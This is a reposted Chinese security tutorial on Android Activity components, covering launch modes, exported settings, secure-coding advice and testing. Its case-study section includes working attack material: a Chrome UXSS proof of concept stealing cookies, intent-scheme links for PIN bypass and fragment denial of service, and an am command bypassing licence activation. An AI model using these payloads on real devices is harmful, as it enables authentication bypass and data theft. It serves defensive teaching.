Android Activtity Security(转)

Android四大组件之一--Activity安全详解。

原帖地址:http://drops.wooyun.org/tips/3936

0x00 科普



Android每一个Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本组件所组成,其中Activity是实现应用程序的主体,它承担了大量的显示和交互工作,甚至可以理解为一个"界面"就是一个Activity。

Activity是为用户操作而展示的可视化用户界面。比如说,一个activity可以展示一个菜单项列表供用户选择,或者显示一些包含说明的照片。一个短消息应用程序可以包括一个用于显示做为发送对象的联系人的列表的activity,一个给选定的联系人写短信的activity以及翻阅以前的短信和改变设置的activity。尽管它们一起组成了一个内聚的用户界面,但其中每个activity都与其它的保持独立。每个都是以Activity类为基类的子类实现。

一个应用程序可以只有一个activity,或如刚才提到的短信应用程序那样,包含很多个。每个activity的作用,以及其数目,自然取决于应用程序及其设计。一般情况下,总有一个应用程序被标记为用户在应用程序启动的时候第一个看到的。从一个activity转向另一个的方式是靠当前的activity启动下一个。

0x01 知识要点



参考:http://developer.android.com/guide/components/activities.html

生命周期

启动方式

显示启动

配置文件中注册组件

<activity android:name=".ExampleActivity" android:icon="@drawable/app_icon">     <intent-filter>         <action android:name="android.intent.action.MAIN" />         <category android:name="android.intent.category.LAUNCHER" />     </intent-filter>
</activity>

直接使用intent对象指定application以及activity启动

Intent intent = new Intent(this, ExampleActivity.class);
startActivity(intent);

未配置intent-filter的action属性,activity只能使用显示启动。

私有Activity推荐使用显示启动。

隐式启动

Intent intent = new Intent(Intent.ACTION_SEND);
intent.putExtra(Intent.EXTRA_EMAIL, recipientArray);
startActivity(intent);

加载模式launch mode

Activity有四种加载模式:

  • standard:默认行为。每次启动一个activity,系统都会在目标task新建一个实例。
  • singleTop:如果目标activity的实例已经存在于目标task的栈顶,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create)
  • singleTask:在一个新任务的栈顶创建activity的实例。如果实例已经存在,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create)
  • singleInstance:和"singleTask"类似,但在目标activity的task中不会再运行其他的activity,在那个task中永远只有一个activity。

设置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 属性:

<activity android:name="ActB" android:launchMode="singleTask"></activity>

Activity launch mode 用于控制创建task和Activity实例。默认“standard“模式。Standard模式一次启动即会生成一个新的Activity实例并且不会创建新的task,被启动的Activity和启动的Activity在同一个栈中。当创建新的task时,intent中的内容有可能被恶意应用读取所以建议若无特别需求使用默认的standard模式即不配置launch mode属性。launchMode能被Intent 的flag覆盖。

taskAffinity

android系统中task管理Activity。Task的命名取决于root Activity的affinity。

默认情况下,app中的每个Activity都使用app的包名作为affinity。而Task的分配取决于app,故默认情况下一个app中所有的Activity属于同一task。要改变task的分配,可以在AndroidManifest.xml文件中设置affinity的值,但是这样做会有不同task启动Activity携带的intent中的信息被其他应用读取的风险。

FLAG_ACTIVITY_NEW_TASK

intent flag中一个重要的flag

启动Activity时通过setFlags()或者addFlags()方法设置intent的flags属性能够改变launch mode,FLAG_ACTIVITY_NEW_TASK标记代表创建新的task(被启动的Activity既不在前台也不在后台)。FLAG_ACTIVITY_MULTIPLE_TASK标记能和FLAG_ACTIVITY_NEW_TASK同时设置。这种情况下必会创建的task,所以intent中不应携带敏感数据。

Task

stack:Activity承担了大量的显示和交互工作,从某种角度上将,我们看见的应用程序就是许多个Activity的组合。为了让这许多 Activity协同工作而不至于产生混乱,Android平台设计了一种堆栈机制用于管理Activity,其遵循先进后出的原则,系统总是显示位于栈顶的Activity,位于栈顶的Activity也就是最后打开的Activity。

Task:是指将相关的Activity组合到一起,以Activity Stack的方式进行管理。从用户体验上讲,一个“应用程序”就是一个Task,但是从根本上讲,一个Task是可以有一个或多个Android Application组成的

如果用户离开一个task很长时间,系统会清理栈顶以下的activity,这样task被从新打开时,栈顶activity就被还原了。

Intent Selector

多个Activity具有相同action时,当此调用此action时会弹出一个选择器供用户选择。

权限

android:exported

一个Activity组件能否被外部应用启动取决于此属性,设置为true时Activity可以被外部应用启动,设置为false则不能,此时Activity只能被自身app启动。(同user id或者root也能启动)

没有配置intent-filter的action属性exported默认为false(没有filter只能通过明确的类名来启动activity故相当于只有程序本身能启动),配置了intent-filter的action属性exported默认为true。

exported属性只是用于限制Activity是否暴露给其他app,通过配置文件中的权限申明也可以限制外部启动activity。

android:protectionLevel

http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html

normal:默认值。低风险权限,只要申请了就可以使用,安装时不需要用户确认。

dangerous:像WRITE_SETTING和SEND_SMS等权限是有风险的,因为这些权限能够用来重新配置设备或者导致话费。使用此protectionLevel来标识用户可能关注的一些权限。Android将会在安装程序时,警示用户关于这些权限的需求,具体的行为可能依据Android版本或者所安装的移动设备而有所变化。

signature:这些权限仅授予那些和本程序应用了相同密钥来签名的程序。

signatureOrSystem:与signature类似,除了一点,系统中的程序也需要有资格来访问。这样允许定制Android系统应用也能获得权限,这种保护等级有助于集成系统编译过程。

<!-- *** POINT 1 *** Define a permission with protectionLevel="signature" -->
<permission
android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION"
android:protectionLevel="signature" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute -->
<activity
android:name=".ProtectedActivity"
android:exported="true"
android:label="@string/app_name"
android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" >
<!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter -->
</activity>

关键方法

  • onCreate(Bundle savedInstanceState)
  • setResult(int resultCode, Intent data)
  • startActivity(Intent intent)
  • startActivityForResult(Intent intent, int requestCode)
  • onActivityResult(int requestCode, int resultCode, Intent data)
  • setResult (int resultCode, Intent data)
  • getStringExtra (String name)
  • addFlags(int flags)
  • setFlags(int flags)
  • setPackage(String packageName)
  • getAction()
  • setAction(String action)
  • getData()
  • setData(Uri data)
  • getExtras()
  • putExtra(String name, String value)

0x02 Activity分类



Activity类型和使用方式决定了其风险和防御方式,故将Activity分类如下: Private、Public、Parter、In-house

private activity



私有Activity不应被其他应用启动相对是安全的

创建activity时:

1、不指定taskAffinity //task管理activity。task的名字取决于根activity的affinity。默认设置中Activity使用包名做为affinity。task由app分配,所以一个应用的Activity在默认情况下属于相同task。跨task启动Activity的intent有可能被其他app读取到。

2、不指定lunchMode //默认standard,建议使用默认。创建新task时有可能被其他应用读取intent的内容。

3、设置exported属性为false

4、谨慎处理从intent中接收的数据,不管是否内部发送的intent

5、敏感信息只能在应用内部操作

使用activity时:

6、开启activity时不设置FLAG_ACTIVITY_NEW_TASK标签 //FLAG_ACTIVITY_NEW_TASK标签用于创建新task(被启动的Activity并未在栈中)。

7、开启应用内部activity使用显示启动的方式

8、当putExtra()包含敏感信息目的应是app内的activity

9、谨慎处理返回数据,即可数据来自相同应用

public activity



公开暴露的Activity组件,可以被任意应用启动

创建activity:

1、设置exported属性为true

2、谨慎处理接收的intent

3、有返回数据时不应包含敏感信息

使用activity:

4、不应发送敏感信息

5、当收到返回数据时谨慎处理

Parter、in-house部分参阅http://www.jssec.org/dl/android_securecoding_en.pdf

安全建议

  • app内使用的私有Activity不应配置intent-filter,如果配置了intent-filter需设置exported属性为false。
  • 使用默认taskAffinity
  • 使用默认launchMode
  • 启动Activity时不设置intent的FLAG_ACTIVITY_NEW_TASK标签
  • 谨慎处理接收的intent以及其携带的信息
  • 签名验证内部(in-house)app
  • 当Activity返回数据时候需注意目标Activity是否有泄露信息的风险
  • 目的Activity十分明确时使用显示启动
  • 谨慎处理Activity返回的数据,目的Activity返回的数据有可能是恶意应用伪造的
  • 验证目标Activity是否恶意app,以免受到intent欺骗,可用hash签名验证
  • When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection
  • 尽可能的不发送敏感信息,应考虑到启动public Activity中intent的信息均有可能被恶意应用窃取的风险

0x04 测试方法



查看activity:

  • 反编译查看配置文件AndroidManifest.xml中activity组件(关注配置了intent-filter的及未设置export=“false”的)
  • 直接用RE打开安装后的app查看配置文件
  • Drozer扫描:run app.activity.info -a packagename
  • 动态查看:logcat设置filter的tag为ActivityManager

启动activity:

  • adb shell:am start -a action -n package/componet
  • drozer: run app.activity.start --action android.action.intent.VIEW ...
  • 自己编写app调用startActiviy()或startActivityForResult()
  • 浏览器intent scheme远程启动:http://drops.wooyun.org/tips/2893

0x05 案例



案例1:绕过本地认证

WooYun: 华为网盘android客户端本地密码绕过(非root也可以)

绕过McAfee的key验证,免费激活。

$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain

案例2:本地拒绝服务

WooYun: 快玩浏览器android客户端本地拒绝服务

WooYun: 雪球android客户端本地拒绝服务漏洞

WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)

WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)

WooYun: Android原生的Settings应用存在必现崩溃问题(可造成拒绝服务攻击) (涉及fragment)

案例3:界面劫持

WooYun: android利用悬浮窗口实现界面劫持钓鱼盗号

案例4:UXSS

漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允许恶意应用注入js代码到任意域. 部分 AndroidManifest.xml配置文件如下

<activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize">         <intent-filter>             <action android:name="android.intent.action.VIEW" />             <category android:name="android.intent.category.DEFAULT" />         </intent-filter>
</activity>

Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未设置 "android:exported" 为 "false". 恶意应用先调用该类并设置data为” http://google.com” 再次调用时设置data为恶意js例如‘javascript:alert(document.cookie)‘, 恶意代码将在http://google.com域中执行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通过Android api或者am(activityManager)打开. POC如下

public class TestActivity extends Activity {     @Override     public void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         Intent i = new Intent();                 ComponentName comp = new ComponentName(                                  "com.android.chrome",                                     "com.google.android.apps.chrome.SimpleChromeActivity");                 i.setComponent(comp);                 i.setAction("android.intent.action.VIEW");                 Uri data = Uri.parse("http://google.com");                 i.setData(data);                 startActivity(i);                     try {                         Thread.sleep(5000);                         }                           catch (Exception e) {}                 data = Uri.parse("javascript:alert(document.cookie)");                   i.setData(data);                 startActivity(i);     }
}

案例5:隐式启动intent包含敏感数据

暂缺可公开案例,攻击模型如下图。

案例6:Fragment注入(绕过PIN+拒绝服务)

Fragment这里只提一下,以后可能另写一篇。

<a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end">
16、bypass Pin android 3.0-4.3 (selector)
</a><br>

<a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end">
17、fragment dos android 4.4 (selector)
</a><br>

案例7:webview RCE

<a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end">
15、驴妈妈代码执行(fixed)
</a><br>

0x06 参考



http://www.jssec.org/dl/android_securecoding_en.pdf

时间: 2024-10-09 09:17:55

Android Activtity Security(转)的相关文章

Android app security安全问题总结

数据泄漏 本地文件敏感数据不能明文保存,不能伪加密(Base64,自定义算法等) android:allowbackup=false. 防止 adb backup 导出数据 Activity intent 的数据泄漏.比如通过 getRecentTask 然后找到对应的intent 拿到数据. Broadcast Intent,自己应用内使用 LocaBroadcast,避免被别的应用收到,或者 setPackage做限制. ClipBorad 数据泄漏. WebView settings se

Android Logcat Security(转)

讲解了在Android开发中logcat使用不当导致的安全问题 原帖地址:http://drops.wooyun.org/tips/3812 0x00 科普 development version :开发版,正在开发内测的版本,会有许多调试日志. release version : 发行版,签名后开发给用户的正式版本,日志量较少. android.util.Log:提供了五种输出日志的方法 Log.e(), Log.w(), Log.i(), Log.d(), Log.v() ERROR, WA

Android Broadcast Security(转)

原文地址:http://drops.wooyun.org/tips/4393 0x00 科普 Broadcast Recevier 广播接收器是一个专注于接收广播通知信息,并做出对应处理的组件.很多广播是源自于系统代码的──比如,通知时区改变.电池电量低.拍摄了一张照片或者用户改变了语言选项.应用程序也可以进行广播──比如说,通知其它应用程序一些数据下载完成并处于可用状态. 应用程序可以拥有任意数量的广播接收器以对所有它感兴趣的通知信息予以响应.所有的接收器均继承自BroadcastReceiv

Android开发技术周报 Issue#24

教程 细数Android系统那些DOS漏洞 Android系统存在一些漏洞可导致系统重启,当然让系统重启只是一种现象,这些漏洞有的还可以权限提升.执行代码等.本文以重启这个现象为分类依据,牵强的把这些漏洞放在一块来看.下面对这些漏洞的成因和本质进行简单的分析,并尽量附上编译好的poc和漏洞利用演示视频. Android安全系列 此系列包含:Android Activtity Security.Android Content Provider Security.Android Broadcast

深入理解Android之Java Security第一部分

深入理解Android之Java Security(第一部分) 从事Android工作4年以来,只有前1年不到的时间是用C++在开发东西(主要是开发DLNA组件,目前我已将它们全部开源,参考http://blog.csdn.net/innost/article/details/40216763),后面的工作几乎都在用Java.自以为Java相关的东西都见过了,可前段时间有个朋友给我花了1个多小时讲解他们某套系统的安全体系结构,其中涉及到很多专业术语,比如Message Digest(消息摘要).

Android application 和 activity 标签详解

extends:http://blog.csdn.net/self_study/article/details/54020909 Application 标签 android:allowTaskReparenting Android:allowTaskReparenting=["true" | "false"] 表明了这个应用在 reset task 时,它的所有 activity 是否可以从打开它们的 task 栈中迁移到它们声明的 taskAffinity 亲和

Android系统移植与调试之-------&gt;如何修改Android系统默认显示【开发者选项】并默认打开【USB调试】和【未知来源】开关

今天有个用户对[设置]有个特殊的要求,即: 1.开机的时候默认显示[开发者选项]并打开[USB调试]开关    ([Developer options]-->[USB debugging]) 2.开机的时候默认打开[安全]-->[未知来源]的开关    ([Security]--->[Unknown sources]) 1.首先解决[设置]界面默认显示[开发者选项]的问题 查看源代码:packages/apps/Settings/src/com/android/settings/Sett

Android 6.0 M userdebug版本执行adb remount失败

[FAQ18076]Android 6.0 M版本默认会打开system verified boot,即在userdebug和user版本会把system映射到dm-0设备,然后再挂载.挂载前会检查system分区数据完整性,如果system分区被恶意修改了则不允许挂载system. userdebug版本如果需要remount system分区来push文件debug,不需要重新编译版本disable dm-verity,只需要执行以下adb命令即可. adb root adb disable

借腾讯开源 VasDolly,谈谈 Android 签名和多渠道打包的原理!

一.前言 Hi,大家好,我是承香墨影! 当我们需要发布一款 App 到应用市场的时候,一般需要我们针对不同的市场生产不同的渠道包,它们使用的是同一套代码,只是会包含一些各自的渠道信息,用于我们做数据分析. 前几天,企鹅电竞团队开源了自己的 Android Apk 多渠道打包工具:VasDolly,比美团的 Walle 更全面一些. 正好借这个机会,来讲解一下 Android 的不同版本的签名机制的差异. 二.Android 的签名 2.1 应用签名 通过对 Apk 进行签名,开发者可以证明对 A